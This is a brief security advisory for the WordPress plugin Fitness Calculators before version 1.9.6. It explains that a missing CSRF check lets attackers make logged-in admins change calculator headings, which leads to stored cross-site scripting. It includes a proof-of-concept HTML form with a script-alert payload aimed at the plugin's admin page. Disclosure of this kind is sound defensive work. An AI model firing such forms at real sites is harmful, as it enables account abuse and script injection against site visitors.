Fitness Calculators < 1.9.6 - Cross-Site Request Forgery to Cross-Site Scripting (XSS)

The plugin add calculators for Water intake, BMI calculator, protein Intake, and Body Fat and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers. Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue

<form method="post" action="https://example.com/wp-admin/admin.php?page=fcp_dashboard&tab=water">
    <input type="text" value="<script>alert(1)</script>" name="fcw[fcw_heading]">
    <input type="submit" value="Save" name="submit">
</form>